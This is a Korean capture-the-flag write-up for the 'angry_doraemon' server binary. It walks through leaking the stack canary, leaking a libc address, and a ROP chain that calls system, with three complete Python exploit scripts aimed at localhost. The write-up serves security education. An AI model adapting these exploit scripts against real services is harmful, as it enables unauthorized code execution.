angry_doraemon_c927b1681064f78612ce78f6b93c14d9




환경 구축


문제를 풀기 위하여 최신 버전 Ubuntu 16.04 (libc.so.6)에 환경을 구축하였다.

아래와 같은 파일들(flag 제외)을 만들어 주어야 정상적으로 프로그램이 동작한다. 파일을 실행시키면 8888 포트로 서버가 동작하게 된다.





해당 문제 파일은 32bit로 리눅스 실행파일인 ELF파일이었다.





Canary와 NX 보호기법이 적용되어있다.






문제 풀이


IDA를 통해 바이너리를 살펴보니 해당 함수에 취약점이 존재하였다.



read() 함수에서 buf의 크기인 4byte 보다 더 큰 크기를  받아 오버플로우가 일어나게 된다.


이곳을 공략하면 된다.

우선 canary가 걸려있기 때문에 우회를 해주어야한다.

sockect 통신을 하고 fork()를 사용하여 동작하고 있기 때문에 canary 값은 고정이다.


따라서 25번 줄의 write() 함수를 이용하여 canary값을 leak 해주면 된다.




11byte 이상을 입력하게 되면 다음 NULL이 나올때까지의 값이 출력된다. 

canary의 마지막 값은 '0x00'일 것이므로 나머지 값을 구해주면 된다.




[ leak canary ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)


# leak canary

s.send("y"*11)

sleep(0.5)

print (s.recv(4096)).encode("hex")




아스키코드 0x79가 'y'이므로 그 뒤의 3byte가 카나리 값일 것이다.

따라서 카나리 값은 0xe40e3d00이 된다(나온 값은 리틀엔디안이므로 바꿔줘야 함).






ROP(Return Oriented Programming) 를 통해 이 문제를 풀 수 있다.


1. write@plt를 사용하여 write함수의 got를 구한다.

2. system의 인자값을 쓰기 가능한 메모리 영역 bss에 복사 

3. write 함수의 got와 offset값을 이용해 system의 주소를 구한다.

4. system 함수 호출



다음은 ROP 공격을 위하여 필요한 값들을 구해주는 과정이다.

gdb로 파일을 실행하여 read_plt와 write_plt, write_got를 구할 수 있다.





objdump -h angry_doraemon 를 통해  bss의 주소를 구해준다.





objdump -d angry_doraemon | grep -A1 pop 를 통해 pppr(pop pop pop ret) 주소를 구해준다.





system 함수의 주소를 계산하기 위한 offset을 구해준다.

현재는 local에서 구동 중이므로 ldd 명령어를 사용하여 해당 libc를 찾을 수 있다.





libc 파일을 gdb로 연 뒤 write와 system 함수의 offset을 구해준다.




libc의 주소에서 일정 크기만큼 더해주면 write, system 함수가 나오게 된다.

현재 write, system 함수의 offset은 알고 있는 상태이다.

만약 write 주소를 알 수 있다면 write_addr - write_offset = libc_addr 을 구할 수 있고, system 함수 주소도 구할 수 있을 것이다.


그러므로 write_got를 leak을 통해 system 함수의 주소를 구해준다.

system_addr = write_addr - write_offset + system_offset



write 함수를 사용해 정확한 write 주소를 알아낼 수 있다.


[ leak write_addr ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)


# leak write_got

canary = 0xe40e3d00

read_plt = 0x8048620

write_plt = 0x80486e0

write_got = 0x804b040

pppr = 0x8048ea6

bss = 0x804b080

offset = 0x9aef0 # write - system


payload = ''

payload += "y"*10

payload += p(canary)

payload += "A"*12


payload += p(write_plt)

payload += "AAAA"

payload += p(4)

payload += p(write_got)

payload += p(4)


print "\n[*] Send payload..."

s.send(payload)

sleep(0.5)

libc_addr = hex(up(s.recv(4)))

print "[*] libc_addr:" + libc_addr






이제 write의 주소를 구했으니, offset을 사용하여 system 함수의 주소를 계산해주면 된다.

read 함수를 사용해 system 함수의 인자값을 넣어준 뒤, system 함수를 실행해준다.


[ Exploit Code ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)



# exploit

canary = 0xe40e3d00

read_plt = 0x8048620

write_plt = 0x80486e0

write_got = 0x804b040

pppr = 0x8048ea6

bss = 0x804b080

offset = 0x9aef0 # write - system

libc_addr = 0xf761ec70

cmd = "id>&4\00"

system_addr = libc_addr - offset


payload = ''

payload += "y"*10

payload += p(canary)

payload += "A"*12


payload += p(read_plt)

payload += p(pppr)

payload += p(4)

payload += p(bss)

payload += p(len(cmd))


payload += p(system_addr)

payload += "AAAA"

payload += p(bss)


print "[*] send payload..."

s.send(payload)

s.send(cmd)

sleep(0.5)


print s.recv(1024)






+ Recent posts